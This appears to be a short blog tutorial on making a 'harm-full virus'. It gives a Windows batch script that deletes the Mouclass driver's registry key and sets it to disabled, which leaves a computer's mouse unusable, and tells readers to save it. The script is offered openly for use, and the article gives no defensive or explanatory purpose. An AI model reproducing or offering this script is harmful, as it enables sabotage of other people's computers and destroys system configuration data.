How To Make a Harm-full Virus that Disable Mouse on Your Computer

In this article i show an Amazing trick that makes to disable on your computer but it is harm-full. But previous i had created and posted so many batch files like matrix fall, Computarized Voice, Notepad Tricks. Now We are creating a Harm-full virus it disable your mouse so please think before trying it on yourself.
Step 1:
 Open Notepad copy and paste below code

rem------------------------------ rem Disable Mouse set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" reg delete %key% reg add %key% /v Start /t REG_DWORD /d 4  rem------------------------------

Step 2:

Save the Above code

Step 3:

You completed your Harm-full virus please beware of that virus.